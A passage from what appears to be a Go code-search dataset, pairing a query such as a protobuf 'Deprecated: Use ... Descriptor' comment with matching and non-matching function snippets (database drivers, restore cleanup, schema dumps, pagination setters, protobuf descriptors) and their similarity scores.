+ payloadLength); err != nil {\n\t\treturn nil, err\n\t}\n\n\toff += 4 // placeholder for protocol packet header\n\tb[off] = _COM_DROP_DB\n\toff++\n\toff += copy(b[off:], schema)\n\n\treturn b[0:off], nil\n}", "func (o TemplateAxisDisplayOptionsPtrOutput) AxisOffset() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *TemplateAxisDisplayOptions) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.AxisOffset\n\t}).(pulumi.StringPtrOutput)\n}", "func (e *Element) DropUserId() {\n\te.UserId = uint64(0)\n}", "func InfluxDBFreeSchemaInfo(tableInfo *C.struct_TableInfo, length int) {\n\tif length <= 0 {\n\t\treturn\n\t}\n\tinfo := (*[1 << 30]C.struct_TableInfo)(unsafe.Pointer(tableInfo))[:length:length]\n\tfor _, v := range info {\n\t\tC.free(unsafe.Pointer(v.measurement))\n\n\t\tif v.tag == nil {\n\t\t\treturn\n\t\t}\n\t\ttags := cStringArrayToSlice(v.tag, int(v.tag_len))\n\t\tfor _, t := range tags {\n\t\t\tC.free(unsafe.Pointer(t))\n\t\t}\n\n\t\tif v.field_type == nil {\n\t\t\treturn\n\t\t}\n\t\tfieldtypes := cStringArrayToSlice(v.field_type, int(v.field_len))\n\t\tfor _, f := range fieldtypes {\n\t\t\tC.free(unsafe.Pointer(f))\n\t\t}\n\n\t\tif v.field == nil {\n\t\t\treturn\n\t\t}\n\t\tfields := cStringArrayToSlice(v.field, int(v.field_len))\n\t\tfor _, f := range fields {\n\t\t\tC.free(unsafe.Pointer(f))\n\t\t}\n\t}\n}", "func (drv *Driver) DumpSchema(db *sql.DB) ([]byte, error) {\n\tpath := ConnectionString(drv.databaseURL)\n\tschema, err := dbutil.RunCommand(\"sqlite3\", path, \".schema --nosys\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmigrations, err := drv.schemaMigrationsDump(db)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tschema = append(schema, migrations...)\n\treturn dbutil.TrimLeadingSQLComments(schema)\n}", "func (_options *ListSubscriptionsOptions) SetOffset(offset int64) *ListSubscriptionsOptions {\n\t_options.Offset = core.Int64Ptr(offset)\n\treturn _options\n}", "func (o *ExtrasSavedFiltersListParams) SetOffset(offset *int64) {\n\to.Offset = offset\n}", "func initSchema(ctx context.Context, db *sqlx.DB, log *log.Logger, isUnittest bool) func(*sqlx.DB) error {\n\tf := func(db *sqlx.DB) error {\n\t\treturn nil\n\t}\n\n\treturn f\n}", "func skipFixup(schema *configschema.Block) bool {\n\tfor _, attr := range schema.Attributes {\n\t\tif attr.NestedType != nil {\n\t\t\treturn true\n\t\t}\n\t\tty := attr.Type\n\n\t\t// Lists and sets of objects could be generated by\n\t\t// SchemaConfigModeAttr, but some other combinations can be ruled out.\n\n\t\t// Tuples and objects could not be generated at all.\n\t\tif ty.IsTupleType() || ty.IsObjectType() {\n\t\t\treturn true\n\t\t}\n\n\t\t// A map of objects was not possible.\n\t\tif ty.IsMapType() && ty.ElementType().IsObjectType() {\n\t\t\treturn true\n\t\t}\n\n\t\t// Nested collections were not really supported, but could be generated\n\t\t// with string types (though we conservatively limit this to primitive types)\n\t\tif ty.IsCollectionType() {\n\t\t\tety := ty.ElementType()\n\t\t\tif ety.IsCollectionType() && !ety.ElementType().IsPrimitiveType() {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\tfor _, block := range schema.BlockTypes {\n\t\tif skipFixup(&block.Block) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "func (options *ListWorkspacesOptions) SetOffset(offset int64) *ListWorkspacesOptions {\n\toptions.Offset = core.Int64Ptr(offset)\n\treturn options\n}", "func setupSchema(cli *cli.Context) error {\n\tparams, err := parseConnectParams(cli)\n\tif err != nil {\n\t\treturn handleErr(schema.NewConfigError(err.Error()))\n\t}\n\tconn, err := newConn(params)\n\tif err != nil {\n\t\treturn handleErr(err)\n\t}\n\tdefer conn.Close()\n\tif err := schema.Setup(cli, conn); err != nil {\n\t\treturn handleErr(err)\n\t}\n\treturn nil\n}", "func fixDatasourceSchemaFlags(schema map[string]*schema.Schema, required bool, keys ...string) {\n\ttpgresource.FixDatasourceSchemaFlags(schema, required, keys...)\n}", "func (mm *atmanMemoryManager) unmapBootstrapPageTables() {\n\tfor i := uint64(0); i < _atman_start_info.NrPageTableFrames; i++ {\n\t\taddr := mm.l4PFN.add(i).vaddr()\n\t\tHYPERVISOR_update_va_mapping(uintptr(addr), 0, 2)\n\t}\n}", "func (o ParserConfigOutput) Schema() SchemaPackagePtrOutput {\n\treturn o.ApplyT(func(v ParserConfig) *SchemaPackage { return v.Schema }).(SchemaPackagePtrOutput)\n}", "func (dict *Dictionary) DropIndex() {\n\tdict.shortIndex = nil\n\tdict.longIndex = nil\n}", "func (_options *ListConfigurationsOptions) SetOffset(offset int64) *ListConfigurationsOptions {\n\t_options.Offset = core.Int64Ptr(offset)\n\treturn _options\n}", "func (r *restoreResumer) dropDescriptors(\n\tctx context.Context,\n\tjr *jobs.Registry,\n\tcodec keys.SQLCodec,\n\ttxn *kv.Txn,\n\tdescsCol *descs.Collection,\n) error {\n\tdetails := r.job.Details().(jobspb.RestoreDetails)\n\n\t// No need to mark the tables as dropped if they were not even created in the\n\t// first place.\n\tif !details.PrepareCompleted {\n\t\treturn nil\n\t}\n\n\tb := txn.NewBatch()\n\n\t// Collect the tables into mutable versions.\n\tmutableTables := make([]*tabledesc.Mutable, len(details.TableDescs))\n\tfor i := range details.TableDescs {\n\t\tvar err error\n\t\tmutableTables[i], err = descsCol.GetMutableTableVersionByID(ctx, details.TableDescs[i].ID, txn)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// Ensure that the version matches what we expect. In the case that it\n\t\t// doesn't, it's not really clear what to do. Just log and carry on. If the\n\t\t// descriptors have already been published, then there's nothing to fuss\n\t\t// about so we only do this check if they have not been published.\n\t\tif !details.DescriptorsPublished {\n\t\t\tif got, exp := mutableTables[i].Version, details.TableDescs[i].Version; got != exp {\n\t\t\t\tlog.Errorf(ctx, \"version changed for restored descriptor %d before \"+\n\t\t\t\t\t\"drop: got %d, expected %d\", mutableTables[i].GetVersion(), got, exp)\n\t\t\t}\n\t\t}\n\n\t}\n\n\t// Remove any back references installed from existing types to tables being restored.\n\tif err := r.removeExistingTypeBackReferences(\n\t\tctx, txn, descsCol, b, mutableTables, &details,\n\t); err != nil {\n\t\treturn err\n\t}\n\n\t// Drop the table descriptors that were created at the start of the restore.\n\ttablesToGC := make([]descpb.ID, 0, len(details.TableDescs))\n\tfor i := range mutableTables {\n\t\ttableToDrop := mutableTables[i]\n\t\ttablesToGC = append(tablesToGC, tableToDrop.ID)\n\t\ttableToDrop.State = descpb.DescriptorState_DROP\n\t\tcatalogkv.WriteObjectNamespaceEntryRemovalToBatch(\n\t\t\tctx,\n\t\t\tb,\n\t\t\tcodec,\n\t\t\ttableToDrop.ParentID,\n\t\t\ttableToDrop.GetParentSchemaID(),\n\t\t\ttableToDrop.Name,\n\t\t\tfalse, /* kvTrace */\n\t\t)\n\t\tif err := descsCol.WriteDescToBatch(ctx, false /* kvTrace */, tableToDrop, b); err != nil {\n\t\t\treturn errors.Wrap(err, \"writing dropping table to batch\")\n\t\t}\n\t}\n\n\t// Drop the type descriptors that this restore created.\n\tfor i := range details.TypeDescs {\n\t\t// TypeDescriptors don't have a GC job process, so we can just write them\n\t\t// as dropped here.\n\t\ttypDesc := details.TypeDescs[i]\n\t\tmutType, err := descsCol.GetMutableTypeByID(ctx, txn, typDesc.ID, tree.ObjectLookupFlags{\n\t\t\tCommonLookupFlags: tree.CommonLookupFlags{\n\t\t\t\tAvoidCached: true,\n\t\t\t\tIncludeOffline: true,\n\t\t\t},\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tcatalogkv.WriteObjectNamespaceEntryRemovalToBatch(\n\t\t\tctx,\n\t\t\tb,\n\t\t\tcodec,\n\t\t\ttypDesc.ParentID,\n\t\t\ttypDesc.ParentSchemaID,\n\t\t\ttypDesc.Name,\n\t\t\tfalse, /* kvTrace */\n\t\t)\n\t\tmutType.State = descpb.DescriptorState_DROP\n\t\tif err := descsCol.WriteDescToBatch(ctx, false /* kvTrace */, mutType, b); err != nil {\n\t\t\treturn errors.Wrap(err, \"writing dropping type to batch\")\n\t\t}\n\t\t// Remove the system.descriptor entry.\n\t\tb.Del(catalogkeys.MakeDescMetadataKey(codec, typDesc.ID))\n\t}\n\n\t// Queue a GC job.\n\t// Set the drop time as 1 (ns in Unix time), so that the table gets GC'd\n\t// immediately.\n\tdropTime := int64(1)\n\tgcDetails := jobspb.SchemaChangeGCDetails{}\n\tfor _, tableID := range tablesToGC {\n\t\tgcDetails.Tables = append(gcDetails.Tables, jobspb.SchemaChangeGCDetails_DroppedID{\n\t\t\tID: tableID,\n\t\t\tDropTime: dropTime,\n\t\t})\n\t}\n\tgcJobRecord := jobs.Record{\n\t\tDescription: fmt.Sprintf(\"GC for %s\", r.job.Payload().Description),\n\t\tUsername: r.job.Payload().UsernameProto.Decode(),\n\t\tDescriptorIDs: tablesToGC,\n\t\tDetails: gcDetails,\n\t\tProgress: jobspb.SchemaChangeGCProgress{},\n\t\tNonCancelable: true,\n\t}\n\tif _, err := jr.CreateJobWithTxn(ctx, gcJobRecord, jr.MakeJobID(), txn); err != nil {\n\t\treturn err\n\t}\n\n\t// Drop the database and schema descriptors that were created at the start of\n\t// the restore if they are now empty (i.e. no user created a table, etc. in\n\t// the database or schema during the restore).\n\tignoredChildDescIDs := make(map[descpb.ID]struct{})\n\tfor _, table := range details.TableDescs {\n\t\tignoredChildDescIDs[table.ID] = struct{}{}\n\t}\n\tfor _, typ := range details.TypeDescs {\n\t\tignoredChildDescIDs[typ.ID] = struct{}{}\n\t}\n\tfor _, schema := range details.SchemaDescs {\n\t\tignoredChildDescIDs[schema.ID] = struct{}{}\n\t}\n\tallDescs, err := descsCol.GetAllDescriptors(ctx, txn)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Delete any schema descriptors that this restore created. Also collect the\n\t// descriptors so we can update their parent databases later.\n\tdbsWithDeletedSchemas := make(map[descpb.ID][]catalog.SchemaDescriptor)\n\tfor _, schemaDesc := range details.SchemaDescs {\n\t\tsc := schemadesc.NewBuilder(schemaDesc).BuildImmutableSchema()\n\t\t// We need to ignore descriptors we just added since we haven't committed the txn that deletes these.\n\t\tisSchemaEmpty, err := isSchemaEmpty(ctx, txn, sc.GetID(), allDescs, ignoredChildDescIDs)\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"checking if schema %s is empty during restore cleanup\", sc.GetName())\n\t\t}\n\n\t\tif !isSchemaEmpty {\n\t\t\tlog.Warningf(ctx, \"preserving schema %s on restore failure because it contains new child objects\", sc.GetName())\n\t\t\tcontinue\n\t\t}\n\t\tcatalogkv.WriteObjectNamespaceEntryRemovalToBatch(\n\t\t\tctx,\n\t\t\tb,\n\t\t\tcodec,\n\t\t\tsc.GetParentID(),\n\t\t\tkeys.RootNamespaceID,\n\t\t\tsc.GetName(),\n\t\t\tfalse, /* kvTrace */\n\t\t)\n\t\tb.Del(catalogkeys.MakeDescMetadataKey(codec, sc.GetID()))\n\t\tdbsWithDeletedSchemas[sc.GetParentID()] = append(dbsWithDeletedSchemas[sc.GetParentID()], sc)\n\t}\n\n\t// Delete the database descriptors.\n\tdeletedDBs := make(map[descpb.ID]struct{})\n\tfor _, dbDesc := range details.DatabaseDescs {\n\n\t\t// We need to ignore descriptors we just added since we haven't committed the txn that deletes these.\n\t\tisDBEmpty, err := isDatabaseEmpty(ctx, txn, dbDesc.GetID(), allDescs, ignoredChildDescIDs)\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"checking if database %s is empty during restore cleanup\", dbDesc.GetName())\n\t\t}\n\t\tif !isDBEmpty {\n\t\t\tlog.Warningf(ctx, \"preserving database %s on restore failure because it contains new child objects or schemas\", dbDesc.GetName())\n\t\t\tcontinue\n\t\t}\n\n\t\tdb, err := descsCol.GetMutableDescriptorByID(ctx, dbDesc.GetID(), txn)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Mark db as dropped and add uncommitted version to pass pre-txn\n\t\t// descriptor validation.\n\t\tdb.SetDropped()\n\t\tdb.MaybeIncrementVersion()\n\t\tif err := descsCol.AddUncommittedDescriptor(db); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tdescKey := catalogkeys.MakeDescMetadataKey(codec, db.GetID())\n\t\tb.Del(descKey)\n\t\tb.Del(catalogkeys.NewDatabaseKey(db.GetName()).Key(codec))\n\t\tdeletedDBs[db.GetID()] = struct{}{}\n\t}\n\n\t// For each database that had a child schema deleted (regardless of whether\n\t// the db was created in the restore job), if it wasn't deleted just now,\n\t// delete the now-deleted child schema from its schema map.\n\tfor dbID, schemas := range dbsWithDeletedSchemas {\n\t\tlog.Infof(ctx, \"deleting %d schema entries from database %d\", len(schemas), dbID)\n\t\tdesc, err := descsCol.GetMutableDescriptorByID(ctx, dbID, txn)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdb := desc.(*dbdesc.Mutable)\n\t\tfor _, sc := range schemas {\n\t\t\tif schemaInfo, ok := db.Schemas[sc.GetName()]; !ok {\n\t\t\t\tlog.Warningf(ctx, \"unexpected missing schema entry for %s from db %d; skipping deletion\",\n\t\t\t\t\tsc.GetName(), dbID)\n\t\t\t} else if schemaInfo.ID != sc.GetID() {\n\t\t\t\tlog.Warningf(ctx, \"unexpected schema entry %d for %s from db %d, expecting %d; skipping deletion\",\n\t\t\t\t\tschemaInfo.ID, sc.GetName(), dbID, sc.GetID())\n\t\t\t} else {\n\t\t\t\tdelete(db.Schemas, sc.GetName())\n\t\t\t}\n\t\t}\n\t\tif err := descsCol.WriteDescToBatch(\n\t\t\tctx, false /* kvTrace */, db, b,\n\t\t); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err := txn.Run(ctx, b); err != nil {\n\t\treturn errors.Wrap(err, \"dropping tables created at the start of restore caused by fail/cancel\")\n\t}\n\n\treturn nil\n}", "func (o *GetComplianceByResourceTypesParams) SetOffset(offset *int64) {\n\to.Offset = offset\n}", "func (_options *ListSecretsOptions) SetOffset(offset int64) *ListSecretsOptions {\n\t_options.Offset = core.Int64Ptr(offset)\n\treturn _options\n}", "func (_options *ListDestinationsOptions) SetOffset(offset int64) *ListDestinationsOptions {\n\t_options.Offset = core.Int64Ptr(offset)\n\treturn _options\n}", "func (_options *ListSourcesOptions) SetOffset(offset int64) *ListSourcesOptions {\n\t_options.Offset = core.Int64Ptr(offset)\n\treturn _options\n}", "func TestMoveTablesDDLFlag(t *testing.T) {\n\tms := &vtctldatapb.MaterializeSettings{\n\t\tWorkflow: \"workflow\",\n\t\tSourceKeyspace: \"sourceks\",\n\t\tTargetKeyspace: \"targetks\",\n\t\tTableSettings: []*vtctldatapb.TableMaterializeSettings{{\n\t\t\tTargetTable: \"t1\",\n\t\t\tSourceExpression: \"select * from t1\",\n\t\t}},\n\t}\n\tctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)\n\tdefer cancel()\n\n\tfor onDDLAction := range binlogdatapb.OnDDLAction_value {\n\t\tt.Run(fmt.Sprintf(\"OnDDL Flag:%v\", onDDLAction), func(t *testing.T) {\n\t\t\tctx, cancel := context.WithCancel(ctx)\n\t\t\tdefer cancel()\n\t\t\tenv := newTestMaterializerEnv(t, ctx, ms, []string{\"0\"}, []string{\"0\"})\n\t\t\tdefer env.close()\n\n\t\t\tenv.tmc.expectVRQuery(100, mzCheckJournal, &sqltypes.Result{})\n\t\t\tenv.tmc.expectVRQuery(200, mzSelectFrozenQuery, &sqltypes.Result{})\n\t\t\tif onDDLAction == binlogdatapb.OnDDLAction_IGNORE.String() {\n\t\t\t\t// This is the default and go does not marshal defaults\n\t\t\t\t// for prototext fields so we use the default insert stmt.\n\t\t\t\tenv.tmc.expectVRQuery(200, insertPrefix, &sqltypes.Result{})\n\t\t\t} else {\n\t\t\t\tenv.tmc.expectVRQuery(200, fmt.Sprintf(`/insert into _vt.vreplication\\(.*on_ddl:%s.*`, onDDLAction),\n\t\t\t\t\t&sqltypes.Result{})\n\t\t\t}\n\t\t\tenv.tmc.expectVRQuery(200, mzSelectIDQuery, &sqltypes.Result{})\n\t\t\tenv.tmc.expectVRQuery(200, mzUpdateQuery, &sqltypes.Result{})\n\n\t\t\terr := env.wr.MoveTables(ctx, \"workflow\", \"sourceks\", \"targetks\", \"t1\", \"\",\n\t\t\t\t\"\", false, \"\", false, true, \"\", false, false, \"\", onDDLAction, nil, false)\n\t\t\trequire.NoError(t, err)\n\t\t})\n\t}\n}", "func (amd *AppMultipleDatabus) InitOffset(c context.Context) {\n\tamd.d.InitOffset(c, amd.offsets[0], amd.attrs, amd.tableName)\n}", "func (s *Store) reregisterSchemas() error {\n\tresults, err := s.datastore.Query(query.Query{\n\t\tPrefix: dsStoreSchemas.String(),\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer results.Close()\n\n\tfor res := range results.Next() {\n\t\tname := ds.RawKey(res.Key).Name()\n\t\tvar indexes []*IndexConfig\n\t\tindex, err := s.datastore.Get(dsStoreIndexes.ChildString(name))\n\t\tif err == nil && index != nil {\n\t\t\t_ = json.Unmarshal(index, &indexes)\n\t\t}\n\t\tif _, err := s.RegisterSchema(name, string(res.Value), indexes...); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (s *Store) DropRetentionPolicy(database, name string) error {\n\treturn s.exec(internal.Command_DropRetentionPolicyCommand, internal.E_DropRetentionPolicyCommand_Command,\n\t\t&internal.DropRetentionPolicyCommand{\n\t\t\tDatabase: proto.String(database),\n\t\t\tName: proto.String(name),\n\t\t},\n\t)\n}", "func schemaDec(t reflect.Type, in []byte) (T, error) {\n\tswitch t.Kind() {\n\tcase reflect.Slice, reflect.Array:\n\t\tt = t.Elem()\n\t}\n\tdecMu.Lock()\n\tdec, ok := schemaDecs[t]\n\tif !ok {\n\t\tvar err error\n\t\tdec, err = coder.RowDecoderForStruct(t)\n\t\tif err != nil {\n\t\t\tdecMu.Unlock()\n\t\t\treturn nil, err\n\t\t}\n\t\tschemaDecs[t] = dec\n\t}\n\tdecMu.Unlock()\n\tbuf := bytes.NewBuffer(in)\n\tval, err := dec(buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn val, nil\n}", "func (s *BasePlSqlParserListener) ExitSchema_object_name(ctx *Schema_object_nameContext) {}", "func Down_20150324152625(txn *sql.Tx) {\n\tquery := `\nALTER TABLE users DROP COLUMN weblogin_secret;\nALTER TABLE users DROP COLUMN weblogin_username;\n\nDROP FUNCTION kullo_random_id();\n`\n\t_, err := txn.Exec(query)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "func Drop(family Family, table, chain string, handle int) error {\n\t_, err := pm.System(\"nft\", \"delete\", \"rule\", string(family), table, chain, \"handle\", fmt.Sprint(handle))\n\treturn err\n}", "func dropTables(db *sql.DB) {\n\tvar sql = \"drop table if exists \" + dbname + \".DemoTable;\"\n\tvar rows, rowErr = db.Query(sql)\n\tif rowErr != nil {\n\t\tfmt.Println(rowErr)\n\t\treturn\n\t}\n\tdefer rows.Close()\n}", "func (drv ClickHouseDriver) DumpSchema(u *url.URL, db *sql.DB) ([]byte, error) {\n\tvar buf bytes.Buffer\n\tvar err error\n\n\terr = clickhouseSchemaDump(db, &buf, drv.databaseName(u))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = clickhouseSchemaMigrationsDump(db, &buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn buf.Bytes(), nil\n}", "func (c *ConfigDatabase) drop() error {\n\treturn dropDB(c.DBConfig)\n}", "func splitAvroWireFormatMessage(msg []byte) (schemaregistry.ID, []byte, error) {\n\tconst op = errors.Op(\"avroutil.SplitAvroWireFormatMessage\")\n\tif len(msg) < 5 {\n\t\treturn 0, nil, errors.E(op, \"invalid message length\")\n\t}\n\tif msg[0] != 0x00 {\n\t\treturn 0, nil, errors.E(op, \"invalid magic byte\")\n\t}\n\tschemaID := schemaregistry.ID(binary.BigEndian.Uint32(msg[1:5]))\n\tdata := msg[5:]\n\treturn schemaID, data, nil\n}", "func (f *Filter) Drop() error {\n\treturn f.sendCommand(\"drop\")\n}", "func Schema() (*ytypes.Schema, error) {\n\tuzp, err := UnzipSchema()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot unzip schema, %v\", err)\n\t}\n\n\treturn &ytypes.Schema{\n\t\tRoot: &Device{},\n\t\tSchemaTree: uzp,\n\t\tUnmarshal: Unmarshal,\n\t}, nil\n}", "func Schema() (*ytypes.Schema, error) {\n\tuzp, err := UnzipSchema()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot unzip schema, %v\", err)\n\t}\n\n\treturn &ytypes.Schema{\n\t\tRoot: &Device{},\n\t\tSchemaTree: uzp,\n\t\tUnmarshal: Unmarshal,\n\t}, nil\n}", "func Schema() (*ytypes.Schema, error) {\n\tuzp, err := UnzipSchema()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot unzip schema, %v\", err)\n\t}\n\n\treturn &ytypes.Schema{\n\t\tRoot: &Device{},\n\t\tSchemaTree: uzp,\n\t\tUnmarshal: Unmarshal,\n\t}, nil\n}", "func Schema() (*ytypes.Schema, error) {\n\tuzp, err := UnzipSchema()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot unzip schema, %v\", err)\n\t}\n\n\treturn &ytypes.Schema{\n\t\tRoot: &Device{},\n\t\tSchemaTree: uzp,\n\t\tUnmarshal: Unmarshal,\n\t}, nil\n}" ]
[ "0.65431356", "0.5897997", "0.5540047", "0.5491531", "0.5133063", "0.51117074", "0.5074445", "0.4885307", "0.48411688", "0.4840852", "0.48365957", "0.4804482", "0.47582945", "0.47399566", "0.47135127", "0.47126", "0.46876818", "0.4677966", "0.4677966", "0.4677966", "0.4677966", "0.4677966", "0.4677966", "0.46708035", "0.46355656", "0.46294555", "0.46209565", "0.45694837", "0.45626524", "0.4556684", "0.4539349", "0.45164737", "0.4496037", "0.4490816", "0.44733763", "0.44559819", "0.44536513", "0.44174448", "0.44154346", "0.4390607", "0.43854636", "0.43846804", "0.43782622", "0.4373901", "0.4358884", "0.43388444", "0.4330409", "0.43300042", "0.4319182", "0.43052673", "0.43042716", "0.42989242", "0.42919284", "0.4279533", "0.4270076", "0.4262386", "0.42408648", "0.4234175", "0.4232389", "0.42225277", "0.4221666", "0.42206743", "0.4216044", "0.42157078", "0.42140365", "0.4199738", "0.41986242", "0.41906527", "0.41877836", "0.41822967", "0.418098", "0.41790417", "0.41642386", "0.41607168", "0.4145521", "0.4143703", "0.4142895", "0.41392756", "0.4138112", "0.41341534", "0.41207847", "0.41044697", "0.41027662", "0.4097752", "0.40944377", "0.40898207", "0.40752244", "0.4074973", "0.40671554", "0.4065969", "0.40641236", "0.40603787", "0.4058668", "0.40539244", "0.4053152", "0.40506646", "0.40419117", "0.40419117", "0.40419117", "0.40419117" ]
0.836623
0
Deprecated: Use SumSaleValuesRequest.ProtoReflect.Descriptor instead.
func (*SumSaleValuesRequest) Descriptor() ([]byte, []int) { return file_sale_proto_rawDescGZIP(), []int{0} }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (*SumSaleValuesResponse) Descriptor() ([]byte, []int) {\n\treturn file_sale_proto_rawDescGZIP(), []int{1}\n}", "func (*SumRequest) Descriptor() ([]byte, []int) {\n\treturn file_calculatorpb_calculator_proto_rawDescGZIP(), []int{0}\n}", "func (*GetSaleOrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_sandbox_sales_v1_proto_rawDescGZIP(), []int{0}\n}", "func (*GetSaleOrdersRequest) Descriptor() ([]byte, []int) {\n\treturn file_sandbox_sales_v1_proto_rawDescGZIP(), []int{2}\n}", "func (x *fastReflection_MsgCommunityPoolSpend) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgCommunityPoolSpend\n}", "func (*CreateSaleOrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_sandbox_sales_v1_proto_rawDescGZIP(), []int{4}\n}", "func (*MetricsRequest) Descriptor() ([]byte, []int) {\n\treturn file_ssn_dataservice_v1_dataservice_proto_rawDescGZIP(), []int{11}\n}", "func (*SumRequest) Descriptor() ([]byte, []int) {\n\treturn file_messages_proto_rawDescGZIP(), []int{2}\n}", "func (*DeviceDecommissioningStreamRequest) Descriptor() ([]byte, []int) {\n\treturn file_arista_inventory_v1_services_gen_proto_rawDescGZIP(), []int{6}\n}", "func (x *fastReflection_MsgCommunityPoolSpendResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgCommunityPoolSpendResponse\n}", "func (*MetricsServiceRequest) Descriptor() ([]byte, []int) {\n\treturn file_github_com_yahuizhan_dappley_metrics_go_api_rpc_pb_rpc_proto_rawDescGZIP(), []int{18}\n}", "func (*ServicesDistinctValuesReq) Descriptor() ([]byte, []int) {\n\treturn file_external_applications_applications_proto_rawDescGZIP(), []int{1}\n}", "func (*StreamingReadFeatureValuesRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_aiplatform_v1_featurestore_online_service_proto_rawDescGZIP(), []int{5}\n}", "func (*SumRequest) Descriptor() ([]byte, []int) {\n\treturn file_calculator_proto_rawDescGZIP(), []int{1}\n}", "func (*LinkedPropertyValuesRequest) Descriptor() ([]byte, []int) {\n\treturn file_v1_property_values_proto_rawDescGZIP(), []int{5}\n}", "func (x *fastReflection_MsgCommunityPoolSpend) Get(descriptor protoreflect.FieldDescriptor) protoreflect.Value {\n\tswitch descriptor.FullName() {\n\tcase \"cosmos.distribution.v1beta1.MsgCommunityPoolSpend.authority\":\n\t\tvalue := x.Authority\n\t\treturn protoreflect.ValueOfString(value)\n\tcase \"cosmos.distribution.v1beta1.MsgCommunityPoolSpend.recipient\":\n\t\tvalue := x.Recipient\n\t\treturn protoreflect.ValueOfString(value)\n\tcase \"cosmos.distribution.v1beta1.MsgCommunityPoolSpend.amount\":\n\t\tif len(x.Amount) == 0 {\n\t\t\treturn protoreflect.ValueOfList(&_MsgCommunityPoolSpend_3_list{})\n\t\t}\n\t\tlistValue := &_MsgCommunityPoolSpend_3_list{list: &x.Amount}\n\t\treturn protoreflect.ValueOfList(listValue)\n\tdefault:\n\t\tif descriptor.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.distribution.v1beta1.MsgCommunityPoolSpend\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.distribution.v1beta1.MsgCommunityPoolSpend does not contain field %s\", descriptor.FullName()))\n\t}\n}", "func (*AddRequest) Descriptor() ([]byte, []int) {\n\treturn file_grpc_calculator_proto_calc_proto_rawDescGZIP(), []int{0}\n}", "func (*ReadFeatureValuesRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_aiplatform_v1_featurestore_online_service_proto_rawDescGZIP(), []int{3}\n}", "func (ThirdPartyPaymentType) EnumDescriptor() ([]byte, []int) {\n\treturn file_api_proto_global_Global_proto_rawDescGZIP(), []int{19}\n}", "func (*BulkLinkedPropertyValuesRequest) Descriptor() ([]byte, []int) {\n\treturn file_v1_property_values_proto_rawDescGZIP(), []int{6}\n}", "func (*PostStatValuesRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_clarifai_api_service_proto_rawDescGZIP(), []int{167}\n}", "func (*DeviceDecommissioningRequest) Descriptor() ([]byte, []int) {\n\treturn file_arista_inventory_v1_services_gen_proto_rawDescGZIP(), []int{4}\n}", "func (*EstimateCoinSellAllRequest) Descriptor() ([]byte, []int) {\n\treturn file_resources_proto_rawDescGZIP(), []int{58}\n}", "func (*DeviceDecommissioningConfigStreamRequest) Descriptor() ([]byte, []int) {\n\treturn file_arista_inventory_v1_services_gen_proto_rawDescGZIP(), []int{10}\n}", "func (*EstimateCoinSellRequest) Descriptor() ([]byte, []int) {\n\treturn file_resources_proto_rawDescGZIP(), []int{56}\n}", "func (x *fastReflection_MsgCommunityPoolSpendResponse) Get(descriptor protoreflect.FieldDescriptor) protoreflect.Value {\n\tswitch descriptor.FullName() {\n\tdefault:\n\t\tif descriptor.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.distribution.v1beta1.MsgCommunityPoolSpendResponse\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.distribution.v1beta1.MsgCommunityPoolSpendResponse does not contain field %s\", descriptor.FullName()))\n\t}\n}", "func (*TelemetryRequest) Descriptor() ([]byte, []int) {\n\treturn file_interservice_license_control_license_control_proto_rawDescGZIP(), []int{11}\n}", "func (*PostStatValuesAggregateRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_clarifai_api_service_proto_rawDescGZIP(), []int{169}\n}", "func (*SaleOrder) Descriptor() ([]byte, []int) {\n\treturn file_sandbox_sales_v1_proto_rawDescGZIP(), []int{6}\n}", "func (*ValueRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{10}\n}", "func (*GetAllTransactionsRequest) Descriptor() ([]byte, []int) {\n\treturn file_github_com_yahuizhan_dappley_metrics_go_api_rpc_pb_rpc_proto_rawDescGZIP(), []int{41}\n}", "func (*SetSensorValueRequest) Descriptor() ([]byte, []int) {\n\treturn file_sensor_proto_rawDescGZIP(), []int{0}\n}", "func (*SendBatchTransactionRequest) Descriptor() ([]byte, []int) {\n\treturn 